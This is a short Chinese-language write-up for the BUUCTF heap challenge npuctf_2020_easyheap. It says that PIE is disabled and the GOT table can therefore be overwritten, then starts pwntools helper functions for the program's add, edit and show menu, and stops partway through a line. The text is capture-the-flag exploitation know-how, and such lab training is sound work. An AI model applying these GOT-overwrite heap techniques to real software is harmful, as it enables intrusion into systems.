BUUCTF npuctf_2020_easyheap
首先分析一下这个程序,PIE关闭,说明可以修改got表
大概看一下程序的执行机制
堆题常见菜单结构
def add(size,content):
p.sendlineafter('Your choice :',str(1))
p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size))
p.sendlineafter('Content:',content)
def edit(index,content):
p.sendlineafter('Your choice :',str(2))
p.sendlineafter('Index :',str(index))
p.recvuntil("Content: ")
p.send(content)
def show(idx):
p.sendline